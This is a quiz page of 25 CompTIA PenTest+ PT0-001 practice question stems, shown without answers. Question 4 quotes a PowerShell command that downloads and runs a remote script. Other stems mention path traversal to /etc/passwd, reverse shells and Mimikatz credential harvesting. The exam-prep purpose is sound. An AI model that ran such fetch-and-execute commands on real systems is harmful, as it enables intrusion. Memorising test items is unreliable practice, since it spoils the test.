Home > CompTIA Security+ Certification > Quizzes > CompTIA Pentest+ PT0-001 Questions
CompTIA Pentest+ PT0-001 Questions
Fast practice, instant feedback. Timer auto-submits when time’s up.
Avg score: 27% • Most missed: “Which of the following commands starts the Metasploit database?”
CompTIA PenTest+ certification exam covers all penetration testing stages. The exam includes all aspects of vulnerability management. It not only covers hands-on vulnerability assessment, scanning, and analysis, but also includes planning, scoping, and managing weaknesses, not just exploiting them. PenTest+ covers the latest techniques against expanded attack surfaces. It is a unique exam that requires a candidate to demonstrate the most relevant pen testing skills for the cloud, hybrid environments, web applications, Internet of Things (IoT), and traditional on-premises. The CompTIA... Show more
CompTIA Pentest+ PT0-001 Questions
Time left 00:00
25 Questions

1. At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information?
2. Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?
3. Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this?
4. Consider the following PowerShell command: powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1);Invoke-Cmdlet Which of the following BEST describes the actions performed by this command?
5. A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?
6. The following command is run on a Linux file system: chmod 4111 /usr/bin/sudo Which of the following issues may be exploited now?
7. A penetration tester is performing a code review. Which of the following testing techniques is being performed?
8. During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).
9. A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack?
10. A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform?
11. Which of the following types of intrusion techniques is the use of an under-the-door tool during a physical security assessment an example of?
12. A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use?
13. A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which of the following items is required?
14. A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output: Which of the following is the tester intending to do?
15. A penetration tester, who is not on the clients network. is using Nmap to scan the network for hosts that are in scope. The penetration tester is not receiving any response on the command: nmap 100.100/1/0-125 Which of the following commands would be BEST to return results?
16. In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once?
17. Which of the following tools would a penetration tester leverage to conduct OSINT?.
18. Given the following script: Which of the following BEST describes the purpose of this script?
19. A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy?
20. A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report?
21. A client has requested an external network penetration test for compliance purposes. During discussion between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is the BEST argument as to why the penetration tester's source IP addresses should be whitelisted?
22. Which of the following excerpts would come from a corporate policy?
23. A security assessor completed a comprehensive penetration test of a company and its networks and systems. During the assessment, the tester identified a vulnerability in the crypto library used for TLS on the company's intranet-wide payroll web application. However, the vulnerability has not yet been patched by the vendor, although a patch is expected within days. Which of the following strategies would BEST mitigate the risk of impact?
24. Given the following: http://example.com/download.php?id-…/…/…/etc/passwd Which of the following BEST describes the above attack?
25. During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikatz. Which of the following registry changes would allow for credential caching in memory?

⚡ Recently practiced quizzes in this topic
Live quiz activity
CompTIA Security+ Certification Exam CompTIA Cybersecurity Analyst Plus CySA+ CS0-001 Questions CompTIA Security+ SY0-601 Certification Exam Terms To Know Hardening Pentest+ CySA+ (CS0-002) Review Questions Physical Security Cybersecurity Assessment Test Virtualization (And Security) Overview of Security
 
❤ If you liked Fatskills, consider supporting us by checking out The Life Manuals You Never Got.

🌈  Our mission is to help improve your scores in any subject and exam withonline quizzes, practice tests, study guides, & advice for students. Since 2018.
About | Explore | User Guide | Topics | Subjects | Doubt Solver | Career Aptitude Test | Answers | Free Tools | What Should We Know?
Privacy | Terms |
Without work one finishes nothing. - Ralph Waldo Emerson
© 2026 Fatskills.com

All trademarks, logos and brand names are the property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, trademarks and brands does not imply endorsement.